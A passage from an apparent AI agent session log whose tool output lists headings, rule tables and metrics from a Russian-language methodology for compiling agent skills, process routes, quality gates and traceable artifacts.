\u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\n189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435 (66 \u0438\u0437 67 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043c\u0443\u043b\u044c\u0442\u0438\u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0435) |\\n194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f | `DP-1`\u2026`DP-5`, `FM-1`, ADR-013, ADR-016 |\\n215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n216:  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\\n40-practice-and-cases.md:22:# \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437\\n40-practice-and-cases.md:29:## 1. \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430: BCREQ\\n40-practice-and-cases.md:124:## 2. \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c\\n40-practice-and-cases.md:142:## 3. \u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 MVP-\u0441\u0440\u0435\u0437\\n40-practice-and-cases.md:159:## 4. \u041f\u043b\u0430\u043d \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\\n40-practice-and-cases.md:185:## 5. \u0413\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b\\n40-practice-and-cases.md:207:## 6. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438\\n30-decision-framework.md:23:# \u0420\u0430\u043c\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0439: \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 Execution Package\\n30-decision-framework.md:25:## 1. \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0438 \u0447\u0435\u043c \u043e\u043d\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\\n30-decision-framework.md:41:## 2. \u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432 \u043f\u0430\u043a\u0435\u0442\u0430\\n30-decision-framework.md:67:## 3. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e `SKILL.md`\\n30-decision-framework.md:90:# \u043f\u043e\u043b\u044f \u0441\u0440\u0435\u0434\u044b (GC-2): \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b, \u0438\u043c\u044f \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 (GC-4)\\n30-decision-framework.md:93:# \u043f\u043e\u043b\u044f \u0434\u0435\u043b\u044c\u0442\u044b Source (SK-0): \u0441\u0440\u0435\u0434\u0430 \u0438\u0445 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0438 \u043d\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442\\n30-decision-framework.md:109:# \u041d\u0430\u0432\u044b\u043a: <\u0438\u043c\u044f>\\n30-decision-framework.md:111:## \u041a\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c\\n30-decision-framework.md:114:## \u041f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f\\n30-decision-framework.md:117:## \u0428\u0430\u0433\u0438\\n30-decision-framework.md:120:## \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0432\u044b\u0445\u043e\u0434\u0430\\n30-decision-framework.md:123:## \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 (G-self)\\n30-decision-framework.md:126:## \u041e\u0442\u043a\u0430\u0437\\n30-decision-framework.md:144:## 4. \u041c\u0430\u0440\u0448\u0440\u0443\u0442: \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n30-decision-framework.md:156:### 4.1 \u0413\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\\n30-decision-framework.md:201:### 4.2 \u041b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n30-decision-framework.md:235:## 5. Golden Set\\n30-decision-framework.md:258:# <\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043a\u0435\u0439\u0441\u0430>\\n30-decision-framework.md:259:## \u0412\u0445\u043e\u0434\\n30-decision-framework.md:260:## \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0432\u044b\u0445\u043e\u0434\u0430\\n30-decision-framework.md:261:## \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 (\u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e)\\n30-decision-framework.md:262:## \u0427\u0435\u0433\u043e \u0432 \u044d\u0442\u0430\u043b\u043e\u043d\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435\u0442\\n30-decision-framework.md:270:## 6. \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438\\n30-decision-framework.md:285:## 7. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0440\u0430\u043c\u043a\u0438\",\n[2026-09-29T07:44:54.483Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:54.483Z] [INFO]       }\n[2026-09-29T07:44:54.483Z] [INFO]     ]\n[2026-09-29T07:44:54.483Z] [INFO]   },\n[2026-09-29T07:44:54.483Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:54.483Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:54.483Z] [INFO]   \"uuid\": \"f362d181-bda3-4faf-baaa-58202f99c39c\",\n[2026-09-29T07:44:54.483Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:54.418Z\",\n[2026-09-29T07:44:54.483Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:54.483Z] [INFO]     \"stdout\": \"| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\\n| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. |\\n| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u0438 \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u0430. |\\n| `MM-4` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0443 66 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67. |\\n\\n`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\n\u043f\u0430\u0440\u0430 \u00ab\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435/\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u0435\u00bb \u0434\u0435\u043b\u0430\u0435\u0442 \u0448\u0430\u0433 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c, \u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014\\n\u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c\u044b\u043c.\\n\\n**\u0427\u0442\u043e \u0437\u0430\u043a\u043e\u043d \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442.** \u0424\u043e\u0440\u043c\u0443\u043b\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 **\u0444\u043e\u0440\u043c\u0443**:\\n\u0438\u0437 \u043a\u0430\u043a\u0438\u0445 \u0447\u0430\u0441\u0442\u0435\u0439 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u0432 \u043a\u0430\u043a\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u043e\u043d\u0438 \u0438\u0434\u0443\u0442, \u0447\u0442\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0434\u043e\\n\u043d\u0430\u0447\u0430\u043b\u0430 \u0438 \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0432 \u043a\u043e\u043d\u0446\u0435. \u0421\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u2014 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0445\\n\u0444\u0430\u043a\u0442\u043e\u0432, \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u2014 \u0444\u043e\u0440\u043c\u043e\u0439 \u043d\u0435\\n\u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f: \u043e\u043d\u043e \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M0`\u2013`M4` \u0438\\n\u043c\u0438\u043a\u0440\u043e-\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 `check`. \u041f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\\n\u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u0444\u043e\u0440\u043c\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u043e\u0436\u043d\u044b\u043c, \u0438 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442.\\n\\n## 4. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, \u043d\u0430\u0432\u044b\u043a, \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\\n\\n\u0427\u0435\u0442\u044b\u0440\u0435 \u043f\u043e\u043d\u044f\u0442\u0438\u044f, \u0441\u043b\u0438\u0442\u044b\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0441\u043f\u0438\u0446\u044b \u0432 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 (\u043f\u0440\u043e\u043c\u043f\u0442), \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438\\n\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0441 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c\u044e. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u043c\u0435\u043d\u044f\u0435\u0442 \u0435\u0451: \u043c\u0435\u0436\u0434\u0443\\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0432\u044b\u043a.\\n\\n```text\\nProcess \u2500\u25001:N\u2500\u2500\u25b6 Skill \u2500\u25001:N\u2500\u2500\u25b6 Operation\\n   \u25b2                                  \\n   \u2514\u2500\u2500 Route: \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430; \u043f\u0440\u043e\u0433\u043e\u043d \u2014 \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0433\u0440\u0430\u0444\u0443\\n```\\n\\n| \u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 | \u041a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c | \u041f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- |\\n| `Process` \u2192 `Skill` | 1 : N, \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e \u043f\u043e \u0433\u0440\u0430\u0444\u0443 | `OPS-1`: \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443; \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434, \u0441\u043e\u0441\u0442\u0430\u0432 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438 \u0442\u043e\u0447\u043a\u0438 \u0433\u0435\u0439\u0442\u043e\u0432. |\\n| `Skill` \u2192 `Operation` | 1 : N, \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e | `OPS-2`: \u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441: \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c. |\\n| `Skill` \u2192 `Artifact` | 1 : 1..N | `OPS-3`: \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b; \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u043d\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f. |\\n| `Operation` \u2192 `Artifact` | 1 : 1 | `OPS-4`: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u043a\u043b\u0430\u0441\u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 (`OA-1`). \u0414\u0432\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u2014 \u0434\u0432\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. |\\n| `Route` \u2192 `Process` | N : 1 | `OPS-5`: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014 \u0433\u0440\u0430\u0444 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430; \u043f\u0440\u043e\u0433\u043e\u043d \u2014 \u043e\u0434\u043d\u0430 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u0430\u044f \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430. |\\n38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432) |\\n164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\n165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\n166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; 